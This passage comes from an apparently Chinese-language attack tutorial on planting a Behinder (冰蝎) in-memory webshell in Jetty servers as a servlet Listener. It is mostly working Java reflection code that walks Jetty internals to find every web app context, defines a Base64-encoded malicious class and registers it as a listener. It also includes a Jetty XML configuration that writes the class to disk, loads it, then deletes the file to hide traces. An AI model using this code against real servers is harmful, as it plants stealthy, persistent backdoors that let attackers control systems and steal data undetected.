        Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);  
        Field f_javax_api = source.getDeclaredField("JAVAX_API");  
        f_javax_api.setAccessible(true);  
        Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));  
        Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);  
        Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());  
        Object listener = MemListener.newInstance();  
        setListener.invoke(holder, listener);  
        addProgrammaticListener.setAccessible(true);  
        addProgrammaticListener.invoke(context, listener);  
        addListener.invoke(handler, holder);  
        Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");  
        start.invoke(holder);  
    }  
} catch (Exception e) {  
    e.printStackTrace();  
}

连接成功:

完整利用过程

Jetty&Resin#冰蝎内存马改造 - Jetty Listener的内存马编译,然后转Base64,嵌入下面的代码中:

public class Test {  
    static List getContext() {  
        try {  
            Object thread = Thread.currentThread();  
            Field fqueue_1 = thread.getClass().getDeclaredField("queue");  
            fqueue_1.setAccessible(true);  
            Object queue_1 = fqueue_1.get(thread);  
            Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");  
            fqueue_2.setAccessible(true);  
            Object queue_2 = (Object) fqueue_2.get(queue_1);  
            Object scanner$1 = Array.get(queue_2, 1);  
            Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");  
            fthis$0.setAccessible(true);  
            Object scanner = fthis$0.get(scanner$1);  
            Field f_listener = scanner.getClass().getDeclaredField("_listeners");  
            f_listener.setAccessible(true);  
            ArrayList listeners = (ArrayList) f_listener.get(scanner);  
            Object scanningAppProvider = listeners.get(0);  
            Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");  
            fthis$0_2.setAccessible(true);  
            Object webAppProvider = fthis$0_2.get(scanningAppProvider);  
            Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");  
            f_appMap.setAccessible(true);  
            HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);  
            List contexts = new ArrayList();  
            for (Object value : app.values()) {  
                Field f_context = value.getClass().getDeclaredField("_context");  
                f_context.setAccessible(true);  
                Object context = f_context.get(value);  
                if (context != null) {  
                    contexts.add(context);  
                }  
            }  
            return contexts;  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    static String classbyte = "冰蝎Jetty Listener内存马 Base64";  
  
    static {  
        try {  
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
            defineClass.setAccessible(true);  
            byte[] cb = Base64.getDecoder().decode(classbyte);  
            List contexts = getContext();  
            for(Object context : contexts) {  
                Class MemListener = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);  
                Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");  
                f_servletHandler.setAccessible(true);  
                Object handler = f_servletHandler.get(context);  
                Method addProgrammaticListener = context.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);  
                Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
                Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);  
                Field f_javax_api = source.getDeclaredField("JAVAX_API");  
                f_javax_api.setAccessible(true);  
                Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));  
                Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);  
                Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());  
                Object listener = MemListener.newInstance();  
                setListener.invoke(holder, listener);  
                addProgrammaticListener.setAccessible(true);  
                addProgrammaticListener.invoke(context, listener);  
                addListener.invoke(handler, holder);  
                Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");  
                start.invoke(holder);  
            }  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
  
    }  
}

将上面的代码编译,然后Base64编码后放入到XML文件中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Set name="contextPath">/xxx</Set>
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>静态类字节码Base64</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>类名.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
    <New id="file" class="java.io.File">
	    <Arg>./</Arg>
	    <Call id="url" name="toURL"></Call>
    </New>
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <Ref refid="url" />
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>类名</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
    <New class="java.io.File">
        <Arg>类名.class</Arg>
        <Call name="delete"></Call>
    </New>
</Configure>

写入该XML文件:

成功连接: